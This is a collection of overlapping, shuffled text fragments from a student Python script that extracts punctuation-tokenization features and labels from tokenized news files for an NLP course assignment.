"= [] y = [] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir)",
"f.readlines(): # each token is kept on a different line tokens.append(line.rstrip('\\n')) for token,",
"if __name__ == '__main__': x = [] y = [] dir = 'D:/Mansur/Boun/CMPE",
"+ tokens[i + 1] label = 1 pos = 0 found = True",
"#add try statements label = 1 # punctuation is another token pos =",
"tokens.append(line.rstrip('\\n')) for token, i in zip(tokens, range(len(tokens))): found = False if token in",
"Args: token: token whose features are going to be extracted Returns: features for",
"Navigates through tokenized words, reconstructs original form by following few rules Then, extracts",
"1] + token label = 1 pos = len(original_form) - 1 found =",
"pos = len(original_form) - 1 found = True # send for feature extraction",
"for token, i in zip(tokens, range(len(tokens))): found = False if token in punc:",
"token in punc: # for only punctuation tokens if (token == '\\'' or",
"tokens[i - 1] + token label = 1 pos = 0 found =",
"tokens[i - 1] + token label = 1 pos = len(original_form) - 1",
"found = True break if found: only_punc = True for j in original_form:",
"y = [] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir) for i",
"(token == '\\'' or token == '\\\"') and quote_count % 2 == 1:",
"punctuation is found pos = j original_form = token break only_punc = True",
"len(original_form) - 1 found = True #send for feature extraction elif token ==",
"for now for ch, j in zip(token, range(len(token))): # iterate through string to",
"if j not in punc: case = int(j.isupper()) only_punc = False break if",
"int(j.isupper()) only_punc = False break if not only_punc: x.append([punc_type, pos, len(original_form), case]) y.append(label)",
"# punctuation is another token pos = len(original_form) - 1 found = True",
"j not in punc: case = int(j.isupper()) only_punc = False break if not",
"in punc: case = int(j.isupper()) only_punc = False break if not only_punc: x",
"for not only punctuation tokens if token == '...': punc_type = punc.index(token[0]) original_form",
"feature extraction elif token == '.' or token == ',' or token ==",
"for now quote_count = 0 x = [] # features y = []",
"1/42bin_haber/news/' categories = os.listdir(dir) for i in categories: category_dir = dir + i",
"punc.index(token) original_form = tokens[i - 1] + token label = 1 pos =",
"inference ''' x = None punc = '\\',.\\\"?!-;:()' # % left out for",
"tokens if token == '...': punc_type = punc.index(token[0]) original_form = tokens[i - 1]",
"zip(token, range(len(token))): # iterate through string to detect punctuations punc_type = punc.find(ch) if",
"= '\\',.\\\"?!-;:()' # % left out for now for ch, j in zip(token,",
"break # send for feature extraction elif (token == '\\'' or token ==",
"= file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f: for feature,",
"for only punctuation tokens if (token == '\\'' or token == '\\\"') and",
"categories: category_dir = dir + i + '/' category_files = os.listdir(category_dir) for j",
"and quote_count % 2 == 0: quote_count += 1 punc_type = punc.index(token) try:",
"__name__ == '__main__': x = [] y = [] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment",
"- 1] + token label = 1 pos = len(original_form) - 1 found",
"not only_punc: x = [punc_type, pos, len(original_form), case] return x if __name__ ==",
"another token pos = 0 found = True except IndexError: break # send",
"txt file. Args: dir: directory of the given file filename: name of the",
"detect punctuations punc_type = punc.find(ch) if punc_type != -1: # punctuation is found",
"to be extracted Returns: features for the token used during inference ''' x",
"same txt file. Args: dir: directory of the given file filename: name of",
"= token + tokens[i + 1] label = 1 pos = 0 found",
"to detect punctuations punc_type = punc.find(ch) if punc_type != -1: # punctuation is",
"= 1 # punctuation is another token pos = 0 found = True",
"1 punc_type = punc.index(token) try: original_form = token + tokens[i + 1] #add",
"punc_type = punc.index(token[0]) original_form = tokens[i - 1] + token label = 1",
"found = True except IndexError: break # send for feature extraction elif (token",
"extracts features for that token and adds them to the corresponding list All",
"% 2 == 0: quote_count += 1 punc_type = punc.index(token) try: original_form =",
"= j original_form = token label = 0 found = True break if",
"1 found = True # send for feature extraction elif token == '.'",
"token whose features are going to be extracted Returns: features for the token",
"'\\\"') and quote_count % 2 == 1: quote_count += 1 punc_type = punc.index(token)",
"for that token and adds them to the corresponding list All features of",
"of the dataset is written in the same txt file. Args: dir: directory",
"label = 1 pos = 0 found = True except IndexError: break elif",
"punc = '\\',.\\\"?!-;:()' # % left out for now quote_count = 0 x",
"y.append(label) return x, y def token_feature_extraction(token): ''' Args: token: token whose features are",
"in punc: # for only punctuation tokens if (token == '\\'' or token",
"found = True else: for ch, j in zip(token, range(len(token))): # iterate through",
"and quote_count % 2 == 1: quote_count += 1 punc_type = punc.index(token) original_form",
"dataset is written in the same txt file. Args: dir: directory of the",
"= int(j.isupper()) only_punc = False break if not only_punc: x = [punc_type, pos,",
"2 == 1: quote_count += 1 punc_type = punc.index(token) original_form = tokens[i -",
"% left out for now quote_count = 0 x = [] # features",
"token label = 1 pos = 0 found = True else: # for",
"# send for feature extraction elif token == '.' or token == ','",
"= 1 pos = 0 found = True except IndexError: break elif token",
"= len(original_form) - 1 found = True # send for feature extraction elif",
"out for now for ch, j in zip(token, range(len(token))): # iterate through string",
"file. Args: dir: directory of the given file filename: name of the input",
"token == ',' or token == '?' or token == '!' or token",
"send for feature extraction elif token == '.' or token == ',' or",
"= 0 found = True break if found: only_punc = True for j",
"i in zip(tokens, range(len(tokens))): found = False if token in punc: # for",
"input file Returns: ''' punc = '\\',.\\\"?!-;:()' # % left out for now",
"== '\\'' or token == '\\\"') and quote_count % 2 == 1: quote_count",
"category_dir = dir + i + '/' category_files = os.listdir(category_dir) for j in",
"i + '/' category_files = os.listdir(category_dir) for j in category_files: if '_tokenized' in",
"token + tokens[i + 1] #add try statements label = 1 # punctuation",
"in j: # take only tokenized files x_temp, y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp)",
"filename): ''' Navigates through tokenized words, reconstructs original form by following few rules",
"#send for feature extraction elif token == '(': punc_type = punc.index(token) try: original_form",
"= punc.index(token[0]) original_form = tokens[i - 1] + token label = 1 pos",
"case]) y.append(label) return x, y def token_feature_extraction(token): ''' Args: token: token whose features",
"in punc: case = int(j.isupper()) only_punc = False break if not only_punc: x.append([punc_type,",
"= len(original_form) - 1 found = True #send for feature extraction elif token",
"True break if found: only_punc = True for j in original_form: if j",
"written in the same txt file. Args: dir: directory of the given file",
"x, y def token_feature_extraction(token): ''' Args: token: token whose features are going to",
"j original_form = token break only_punc = True for j in original_form: if",
"zip(tokens, range(len(tokens))): found = False if token in punc: # for only punctuation",
"token == '.' or token == ',' or token == '?' or token",
"# Written by <NAME> import os def file_feature_extraction(dir, filename): ''' Navigates through tokenized",
"for j in category_files: if '_tokenized' in j: # take only tokenized files",
"is kept on a different line tokens.append(line.rstrip('\\n')) for token, i in zip(tokens, range(len(tokens))):",
"= None punc = '\\',.\\\"?!-;:()' # % left out for now for ch,",
"rules Then, extracts features for that token and adds them to the corresponding",
"label = 1 pos = len(original_form) - 1 found = True #send for",
"def token_feature_extraction(token): ''' Args: token: token whose features are going to be extracted",
"= os.listdir(dir) for i in categories: category_dir = dir + i + '/'",
"':': punc_type = punc.index(token) original_form = tokens[i - 1] + token label =",
"')': punc_type = punc.index(token) original_form = tokens[i - 1] + token label =",
"1] + token label = 1 pos = 0 found = True else:",
"= punc.index(token) original_form = tokens[i - 1] + token label = 1 pos",
"return x, y def token_feature_extraction(token): ''' Args: token: token whose features are going",
"',' or token == '?' or token == '!' or token == ';'",
"for i in categories: category_dir = dir + i + '/' category_files =",
"extraction elif token == '.' or token == ',' or token == '?'",
"tokens[i + 1] #add try statements label = 1 # punctuation is another",
"'\\'' or token == '\\\"') and quote_count % 2 == 1: quote_count +=",
"token, i in zip(tokens, range(len(tokens))): found = False if token in punc: #",
"token_feature_extraction(token): ''' Args: token: token whose features are going to be extracted Returns:",
"- 1] + token label = 1 # punctuation is another token pos",
"Returns: ''' punc = '\\',.\\\"?!-;:()' # % left out for now quote_count =",
"True else: for ch, j in zip(token, range(len(token))): # iterate through string to",
"punc_type != -1: # punctuation is found pos = j original_form = token",
"y def token_feature_extraction(token): ''' Args: token: token whose features are going to be",
"words, reconstructs original form by following few rules Then, extracts features for that",
"break elif token == ')': punc_type = punc.index(token) original_form = tokens[i - 1]",
"punc.index(token) try: original_form = token + tokens[i + 1] #add try statements label",
"1 pos = 0 found = True except IndexError: break elif token ==",
"only_punc: x.append([punc_type, pos, len(original_form), case]) y.append(label) return x, y def token_feature_extraction(token): ''' Args:",
"found = False if token in punc: # for only punctuation tokens if",
"'!' or token == ';' or token == ':': punc_type = punc.index(token) original_form",
"= 0 found = True else: # for not only punctuation tokens if",
"case] return x if __name__ == '__main__': x = [] y = []",
"!= -1: # punctuation is found pos = j original_form = token break",
"1 pos = 0 found = True else: # for not only punctuation",
"extracted Returns: features for the token used during inference ''' x = None",
"os.listdir(dir) for i in categories: category_dir = dir + i + '/' category_files",
"elif token == ')': punc_type = punc.index(token) original_form = tokens[i - 1] +",
"token == '\\\"') and quote_count % 2 == 0: quote_count += 1 punc_type",
"in zip(token, range(len(token))): # iterate through string to detect punctuations punc_type = punc.find(ch)",
"for line in f.readlines(): # each token is kept on a different line",
"encoding='utf8') as f: for feature, i in zip(x, range(len(x))): for j in feature:",
"send for feature extraction elif (token == '\\'' or token == '\\\"') and",
"break if not only_punc: x = [punc_type, pos, len(original_form), case] return x if",
"= punc.index(token) try: original_form = token + tokens[i + 1] #add try statements",
"def file_feature_extraction(dir, filename): ''' Navigates through tokenized words, reconstructs original form by following",
"= os.listdir(category_dir) for j in category_files: if '_tokenized' in j: # take only",
"f: for feature, i in zip(x, range(len(x))): for j in feature: f.write('%d\\t' %",
"1 pos = len(original_form) - 1 found = True #send for feature extraction",
"token pos = len(original_form) - 1 found = True # send for feature",
"== 1: quote_count += 1 punc_type = punc.index(token) original_form = tokens[i - 1]",
"== ',' or token == '?' or token == '!' or token ==",
"case = int(j.isupper()) only_punc = False break if not only_punc: x = [punc_type,",
"True except IndexError: break # send for feature extraction elif (token == '\\''",
"or token == '\\\"') and quote_count % 2 == 1: quote_count += 1",
"= '\\',.\\\"?!-;:()' # % left out for now quote_count = 0 x =",
"'?' or token == '!' or token == ';' or token == ':':",
"elif (token == '\\'' or token == '\\\"') and quote_count % 2 ==",
"# send for feature extraction elif (token == '\\'' or token == '\\\"')",
"token == ')': punc_type = punc.index(token) original_form = tokens[i - 1] + token",
"punc_type = punc.find(ch) if punc_type != -1: # punctuation is found pos =",
"pos = 0 found = True except IndexError: break # send for feature",
"= 1 pos = len(original_form) - 1 found = True #send for feature",
"token == '?' or token == '!' or token == ';' or token",
"tokenized files x_temp, y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8')",
"only punctuation tokens if token == '...': punc_type = punc.index(token[0]) original_form = tokens[i",
"statements label = 1 # punctuation is another token pos = 0 found",
"through tokenized words, reconstructs original form by following few rules Then, extracts features",
"token: token whose features are going to be extracted Returns: features for the",
"x = [] # features y = [] # labels tokens = []",
"1] + token label = 1 # punctuation is another token pos =",
"'\\'' or token == '\\\"') and quote_count % 2 == 0: quote_count +=",
"= False break if not only_punc: x = [punc_type, pos, len(original_form), case] return",
"else: for ch, j in zip(token, range(len(token))): # iterate through string to detect",
"punctuation is another token pos = 0 found = True except IndexError: break",
"0 found = True break if found: only_punc = True for j in",
"1 punc_type = punc.index(token) original_form = tokens[i - 1] + token label =",
"True #send for feature extraction elif token == '(': punc_type = punc.index(token) try:",
"punc.find(ch) if punc_type != -1: # punctuation is found pos = j original_form",
"whose features are going to be extracted Returns: features for the token used",
"tokens[i - 1] + token label = 1 # punctuation is another token",
"corresponding list All features of the dataset is written in the same txt",
"+ token label = 1 # punctuation is another token pos = len(original_form)",
"original_form = token label = 0 found = True break if found: only_punc",
"if found: only_punc = True for j in original_form: if j not in",
"are going to be extracted Returns: features for the token used during inference",
"tokens = [] with open(dir+filename, 'r', encoding='utf8') as f: for line in f.readlines():",
"os.listdir(category_dir) for j in category_files: if '_tokenized' in j: # take only tokenized",
"case = int(j.isupper()) only_punc = False break if not only_punc: x.append([punc_type, pos, len(original_form),",
"for feature, i in zip(x, range(len(x))): for j in feature: f.write('%d\\t' % j)",
"- 1] + token label = 1 pos = 0 found = True",
"used during inference ''' x = None punc = '\\',.\\\"?!-;:()' # % left",
"= [] # features y = [] # labels tokens = [] with",
"'.' or token == ',' or token == '?' or token == '!'",
"category_files: if '_tokenized' in j: # take only tokenized files x_temp, y_temp =",
"left out for now quote_count = 0 x = [] # features y",
"quote_count % 2 == 0: quote_count += 1 punc_type = punc.index(token) try: original_form",
"for feature extraction elif token == '(': punc_type = punc.index(token) try: original_form =",
"+ i + '/' category_files = os.listdir(category_dir) for j in category_files: if '_tokenized'",
"try: original_form = token + tokens[i + 1] label = 1 pos =",
"False if token in punc: # for only punctuation tokens if (token ==",
"token break only_punc = True for j in original_form: if j not in",
"of the input file Returns: ''' punc = '\\',.\\\"?!-;:()' # % left out",
"original_form = tokens[i - 1] + token label = 1 pos = len(original_form)",
"if (token == '\\'' or token == '\\\"') and quote_count % 2 ==",
"only_punc = True for j in original_form: if j not in punc: case",
"open(dir+filename, 'r', encoding='utf8') as f: for line in f.readlines(): # each token is",
"punctuation tokens if (token == '\\'' or token == '\\\"') and quote_count %",
"'r', encoding='utf8') as f: for line in f.readlines(): # each token is kept",
"= True break if found: only_punc = True for j in original_form: if",
"through string to detect punctuations punc_type = punc.find(ch) if punc_type != -1: #",
"token label = 1 pos = len(original_form) - 1 found = True #send",
"= True # send for feature extraction elif token == '.' or token",
"token used during inference ''' x = None punc = '\\',.\\\"?!-;:()' # %",
"the dataset is written in the same txt file. Args: dir: directory of",
"file filename: name of the input file Returns: ''' punc = '\\',.\\\"?!-;:()' #",
"''' Args: token: token whose features are going to be extracted Returns: features",
"during inference ''' x = None punc = '\\',.\\\"?!-;:()' # % left out",
"- 1 found = True #send for feature extraction elif token == '(':",
"= token break only_punc = True for j in original_form: if j not",
"punc.index(token) try: original_form = token + tokens[i + 1] label = 1 pos",
"in zip(tokens, range(len(tokens))): found = False if token in punc: # for only",
"or token == '!' or token == ';' or token == ':': punc_type",
"+ tokens[i + 1] #add try statements label = 1 # punctuation is",
"the input file Returns: ''' punc = '\\',.\\\"?!-;:()' # % left out for",
"file Returns: ''' punc = '\\',.\\\"?!-;:()' # % left out for now quote_count",
"x = [punc_type, pos, len(original_form), case] return x if __name__ == '__main__': x",
"found pos = j original_form = token label = 0 found = True",
"try: original_form = token + tokens[i + 1] #add try statements label =",
"and adds them to the corresponding list All features of the dataset is",
"encoding='utf8') as f: for line in f.readlines(): # each token is kept on",
"# for only punctuation tokens if (token == '\\'' or token == '\\\"')",
"# take only tokenized files x_temp, y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with",
"features for the token used during inference ''' x = None punc =",
"x if __name__ == '__main__': x = [] y = [] dir =",
"in original_form: if j not in punc: case = int(j.isupper()) only_punc = False",
"pos = 0 found = True else: # for not only punctuation tokens",
"is another token pos = 0 found = True except IndexError: break #",
"original_form = token break only_punc = True for j in original_form: if j",
"== '...': punc_type = punc.index(token[0]) original_form = tokens[i - 1] + token label",
"list All features of the dataset is written in the same txt file.",
"going to be extracted Returns: features for the token used during inference '''",
"not only_punc: x.append([punc_type, pos, len(original_form), case]) y.append(label) return x, y def token_feature_extraction(token): '''",
"if not only_punc: x.append([punc_type, pos, len(original_form), case]) y.append(label) return x, y def token_feature_extraction(token):",
"pos = 0 found = True except IndexError: break elif token == ')':",
"'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir) for i in categories: category_dir = dir",
"tokens[i + 1] label = 1 pos = 0 found = True except",
"- 1 found = True else: for ch, j in zip(token, range(len(token))): #",
"token label = 1 pos = len(original_form) - 1 found = True else:",
"= [] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir) for i in",
"== '\\\"') and quote_count % 2 == 0: quote_count += 1 punc_type =",
"% 2 == 1: quote_count += 1 punc_type = punc.index(token) original_form = tokens[i",
"only_punc: x = [punc_type, pos, len(original_form), case] return x if __name__ == '__main__':",
"label = 1 pos = 0 found = True else: # for not",
"j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f: for feature, i in",
"== ')': punc_type = punc.index(token) original_form = tokens[i - 1] + token label",
"''' Navigates through tokenized words, reconstructs original form by following few rules Then,",
"[] # features y = [] # labels tokens = [] with open(dir+filename,",
"0 found = True else: # for not only punctuation tokens if token",
"'\\',.\\\"?!-;:()' # % left out for now for ch, j in zip(token, range(len(token))):",
"token label = 0 found = True break if found: only_punc = True",
"categories = os.listdir(dir) for i in categories: category_dir = dir + i +",
"Written by <NAME> import os def file_feature_extraction(dir, filename): ''' Navigates through tokenized words,",
"0 x = [] # features y = [] # labels tokens =",
"= punc.index(token) try: original_form = token + tokens[i + 1] label = 1",
"= 0 found = True except IndexError: break # send for feature extraction",
"[] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir) for i in categories:",
"quote_count % 2 == 1: quote_count += 1 punc_type = punc.index(token) original_form =",
"len(original_form), case]) y.append(label) return x, y def token_feature_extraction(token): ''' Args: token: token whose",
"in f.readlines(): # each token is kept on a different line tokens.append(line.rstrip('\\n')) for",
"original form by following few rules Then, extracts features for that token and",
"line tokens.append(line.rstrip('\\n')) for token, i in zip(tokens, range(len(tokens))): found = False if token",
"!= -1: # punctuation is found pos = j original_form = token label",
"i in zip(x, range(len(x))): for j in feature: f.write('%d\\t' % j) f.write('%d\\n' %",
"for feature extraction elif token == '.' or token == ',' or token",
"quote_count = 0 x = [] # features y = [] # labels",
"punctuation tokens if token == '...': punc_type = punc.index(token[0]) original_form = tokens[i -",
"== '\\'' or token == '\\\"') and quote_count % 2 == 0: quote_count",
"punctuation is found pos = j original_form = token label = 0 found",
"punc: case = int(j.isupper()) only_punc = False break if not only_punc: x.append([punc_type, pos,",
"string to detect punctuations punc_type = punc.find(ch) if punc_type != -1: # punctuation",
"# % left out for now for ch, j in zip(token, range(len(token))): #",
"tokens if (token == '\\'' or token == '\\\"') and quote_count % 2",
"# for not only punctuation tokens if token == '...': punc_type = punc.index(token[0])",
"pos, len(original_form), case] return x if __name__ == '__main__': x = [] y",
"label = 1 # punctuation is another token pos = len(original_form) - 1",
"only punctuation tokens if (token == '\\'' or token == '\\\"') and quote_count",
"take only tokenized files x_temp, y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt',",
"feature extraction elif token == '(': punc_type = punc.index(token) try: original_form = token",
"x.append([punc_type, pos, len(original_form), case]) y.append(label) return x, y def token_feature_extraction(token): ''' Args: token:",
"adds them to the corresponding list All features of the dataset is written",
"= token + tokens[i + 1] #add try statements label = 1 #",
"j: # take only tokenized files x_temp, y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp)",
"found = True # send for feature extraction elif token == '.' or",
"% left out for now for ch, j in zip(token, range(len(token))): # iterate",
"found = True else: # for not only punctuation tokens if token ==",
"-1: # punctuation is found pos = j original_form = token label =",
"return x if __name__ == '__main__': x = [] y = [] dir",
"0 found = True except IndexError: break elif token == ')': punc_type =",
"y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f: for feature, i in zip(x, range(len(x))):",
"is written in the same txt file. Args: dir: directory of the given",
"Args: dir: directory of the given file filename: name of the input file",
"j in original_form: if j not in punc: case = int(j.isupper()) only_punc =",
"or token == '?' or token == '!' or token == ';' or",
"label = 1 pos = len(original_form) - 1 found = True else: for",
"label = 1 # punctuation is another token pos = 0 found =",
"dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir) for i in categories: category_dir",
"All features of the dataset is written in the same txt file. Args:",
"# each token is kept on a different line tokens.append(line.rstrip('\\n')) for token, i",
"now for ch, j in zip(token, range(len(token))): # iterate through string to detect",
"line in f.readlines(): # each token is kept on a different line tokens.append(line.rstrip('\\n'))",
"# labels tokens = [] with open(dir+filename, 'r', encoding='utf8') as f: for line",
"out for now quote_count = 0 x = [] # features y =",
"the token used during inference ''' x = None punc = '\\',.\\\"?!-;:()' #",
"except IndexError: break # send for feature extraction elif (token == '\\'' or",
"a different line tokens.append(line.rstrip('\\n')) for token, i in zip(tokens, range(len(tokens))): found = False",
"found = True except IndexError: break elif token == ')': punc_type = punc.index(token)",
"else: # for not only punctuation tokens if token == '...': punc_type =",
"extraction elif (token == '\\'' or token == '\\\"') and quote_count % 2",
"token label = 1 # punctuation is another token pos = len(original_form) -",
"'...': punc_type = punc.index(token[0]) original_form = tokens[i - 1] + token label =",
"punc.index(token) original_form = tokens[i - 1] + token label = 1 # punctuation",
"in zip(x, range(len(x))): for j in feature: f.write('%d\\t' % j) f.write('%d\\n' % y[i])",
"1 found = True else: for ch, j in zip(token, range(len(token))): # iterate",
"or token == ';' or token == ':': punc_type = punc.index(token) original_form =",
"following few rules Then, extracts features for that token and adds them to",
"'__main__': x = [] y = [] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories",
"different line tokens.append(line.rstrip('\\n')) for token, i in zip(tokens, range(len(tokens))): found = False if",
"Returns: features for the token used during inference ''' x = None punc",
"each token is kept on a different line tokens.append(line.rstrip('\\n')) for token, i in",
"with open(dir+filename, 'r', encoding='utf8') as f: for line in f.readlines(): # each token",
"token == '!' or token == ';' or token == ':': punc_type =",
"True else: # for not only punctuation tokens if token == '...': punc_type",
"'(': punc_type = punc.index(token) try: original_form = token + tokens[i + 1] label",
"token == '...': punc_type = punc.index(token[0]) original_form = tokens[i - 1] + token",
"features of the dataset is written in the same txt file. Args: dir:",
"# % left out for now quote_count = 0 x = [] #",
"filename: name of the input file Returns: ''' punc = '\\',.\\\"?!-;:()' # %",
"the given file filename: name of the input file Returns: ''' punc =",
"if token in punc: # for only punctuation tokens if (token == '\\''",
"= 1 pos = len(original_form) - 1 found = True else: for ch,",
"as f: for line in f.readlines(): # each token is kept on a",
"is found pos = j original_form = token label = 0 found =",
"= punc.index(token) original_form = tokens[i - 1] + token label = 1 #",
"break only_punc = True for j in original_form: if j not in punc:",
"original_form = token + tokens[i + 1] label = 1 pos = 0",
"only tokenized files x_temp, y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+',",
"in categories: category_dir = dir + i + '/' category_files = os.listdir(category_dir) for",
"';' or token == ':': punc_type = punc.index(token) original_form = tokens[i - 1]",
"file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f: for feature, i",
"to the corresponding list All features of the dataset is written in the",
"Then, extracts features for that token and adds them to the corresponding list",
"another token pos = len(original_form) - 1 found = True # send for",
"elif token == '(': punc_type = punc.index(token) try: original_form = token + tokens[i",
"= True except IndexError: break # send for feature extraction elif (token ==",
"= 0 found = True except IndexError: break elif token == ')': punc_type",
"'r+', encoding='utf8') as f: for feature, i in zip(x, range(len(x))): for j in",
"None punc = '\\',.\\\"?!-;:()' # % left out for now for ch, j",
"# punctuation is found pos = j original_form = token label = 0",
"== '(': punc_type = punc.index(token) try: original_form = token + tokens[i + 1]",
"form by following few rules Then, extracts features for that token and adds",
"with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f: for feature, i in zip(x, range(len(x))): for",
"punc_type = punc.index(token) try: original_form = token + tokens[i + 1] label =",
"0: quote_count += 1 punc_type = punc.index(token) try: original_form = token + tokens[i",
"reconstructs original form by following few rules Then, extracts features for that token",
"= punc.find(ch) if punc_type != -1: # punctuation is found pos = j",
"token == '(': punc_type = punc.index(token) try: original_form = token + tokens[i +",
"label = 0 found = True break if found: only_punc = True for",
"only_punc = False break if not only_punc: x.append([punc_type, pos, len(original_form), case]) y.append(label) return",
"try statements label = 1 # punctuation is another token pos = 0",
"False break if not only_punc: x = [punc_type, pos, len(original_form), case] return x",
"given file filename: name of the input file Returns: ''' punc = '\\',.\\\"?!-;:()'",
"True # send for feature extraction elif token == '.' or token ==",
"pos = len(original_form) - 1 found = True else: for ch, j in",
"found = True #send for feature extraction elif token == '(': punc_type =",
"False break if not only_punc: x.append([punc_type, pos, len(original_form), case]) y.append(label) return x, y",
"open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f: for feature, i in zip(x, range(len(x))): for j",
"except IndexError: break elif token == ')': punc_type = punc.index(token) original_form = tokens[i",
"= tokens[i - 1] + token label = 1 # punctuation is another",
"y = [] # labels tokens = [] with open(dir+filename, 'r', encoding='utf8') as",
"elif token == '.' or token == ',' or token == '?' or",
"or token == ',' or token == '?' or token == '!' or",
"pos = j original_form = token break only_punc = True for j in",
"name of the input file Returns: ''' punc = '\\',.\\\"?!-;:()' # % left",
"i in categories: category_dir = dir + i + '/' category_files = os.listdir(category_dir)",
"by <NAME> import os def file_feature_extraction(dir, filename): ''' Navigates through tokenized words, reconstructs",
"for feature extraction elif (token == '\\'' or token == '\\\"') and quote_count",
"by following few rules Then, extracts features for that token and adds them",
"''' punc = '\\',.\\\"?!-;:()' # % left out for now quote_count = 0",
"if punc_type != -1: # punctuation is found pos = j original_form =",
"dir + i + '/' category_files = os.listdir(category_dir) for j in category_files: if",
"features are going to be extracted Returns: features for the token used during",
"== '?' or token == '!' or token == ';' or token ==",
"+ '/' category_files = os.listdir(category_dir) for j in category_files: if '_tokenized' in j:",
"the same txt file. Args: dir: directory of the given file filename: name",
"IndexError: break # send for feature extraction elif (token == '\\'' or token",
"on a different line tokens.append(line.rstrip('\\n')) for token, i in zip(tokens, range(len(tokens))): found =",
"= 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir) for i in categories: category_dir =",
"extraction elif token == '(': punc_type = punc.index(token) try: original_form = token +",
"1 pos = len(original_form) - 1 found = True else: for ch, j",
"punctuations punc_type = punc.find(ch) if punc_type != -1: # punctuation is found pos",
"+ token label = 1 pos = len(original_form) - 1 found = True",
"the corresponding list All features of the dataset is written in the same",
"features for that token and adds them to the corresponding list All features",
"token == ':': punc_type = punc.index(token) original_form = tokens[i - 1] + token",
"1 found = True #send for feature extraction elif token == '(': punc_type",
"original_form: if j not in punc: case = int(j.isupper()) only_punc = False break",
"punc: # for only punctuation tokens if (token == '\\'' or token ==",
"break if not only_punc: x.append([punc_type, pos, len(original_form), case]) y.append(label) return x, y def",
"import os def file_feature_extraction(dir, filename): ''' Navigates through tokenized words, reconstructs original form",
"# punctuation is another token pos = 0 found = True except IndexError:",
"[] with open(dir+filename, 'r', encoding='utf8') as f: for line in f.readlines(): # each",
"x_temp, y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f:",
"ch, j in zip(token, range(len(token))): # iterate through string to detect punctuations punc_type",
"kept on a different line tokens.append(line.rstrip('\\n')) for token, i in zip(tokens, range(len(tokens))): found",
"- 1 found = True # send for feature extraction elif token ==",
"only_punc = False break if not only_punc: x = [punc_type, pos, len(original_form), case]",
"1 # punctuation is another token pos = 0 found = True except",
"= j original_form = token break only_punc = True for j in original_form:",
"that token and adds them to the corresponding list All features of the",
"quote_count += 1 punc_type = punc.index(token) try: original_form = token + tokens[i +",
"now quote_count = 0 x = [] # features y = [] #",
"punc = '\\',.\\\"?!-;:()' # % left out for now for ch, j in",
"punctuation is another token pos = len(original_form) - 1 found = True #",
"= [] with open(dir+filename, 'r', encoding='utf8') as f: for line in f.readlines(): #",
"range(len(token))): # iterate through string to detect punctuations punc_type = punc.find(ch) if punc_type",
"in category_files: if '_tokenized' in j: # take only tokenized files x_temp, y_temp",
"len(original_form) - 1 found = True else: for ch, j in zip(token, range(len(token))):",
"1 # punctuation is another token pos = len(original_form) - 1 found =",
"= True for j in original_form: if j not in punc: case =",
"'\\',.\\\"?!-;:()' # % left out for now quote_count = 0 x = []",
"x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f: for feature, i in zip(x,",
"not only punctuation tokens if token == '...': punc_type = punc.index(token[0]) original_form =",
"original_form = tokens[i - 1] + token label = 1 # punctuation is",
"== '.' or token == ',' or token == '?' or token ==",
"== '!' or token == ';' or token == ':': punc_type = punc.index(token)",
"<NAME> import os def file_feature_extraction(dir, filename): ''' Navigates through tokenized words, reconstructs original",
"them to the corresponding list All features of the dataset is written in",
"is another token pos = len(original_form) - 1 found = True # send",
"files x_temp, y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as",
"quote_count += 1 punc_type = punc.index(token) original_form = tokens[i - 1] + token",
"of the given file filename: name of the input file Returns: ''' punc",
"''' x = None punc = '\\',.\\\"?!-;:()' # % left out for now",
"# features y = [] # labels tokens = [] with open(dir+filename, 'r',",
"feature extraction elif (token == '\\'' or token == '\\\"') and quote_count %",
"== ';' or token == ':': punc_type = punc.index(token) original_form = tokens[i -",
"= tokens[i - 1] + token label = 1 pos = len(original_form) -",
"original_form = token + tokens[i + 1] #add try statements label = 1",
"= True except IndexError: break elif token == ')': punc_type = punc.index(token) original_form",
"= tokens[i - 1] + token label = 1 pos = 0 found",
"'/' category_files = os.listdir(category_dir) for j in category_files: if '_tokenized' in j: #",
"if token == '...': punc_type = punc.index(token[0]) original_form = tokens[i - 1] +",
"561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir) for i in categories: category_dir = dir +",
"+= 1 punc_type = punc.index(token) original_form = tokens[i - 1] + token label",
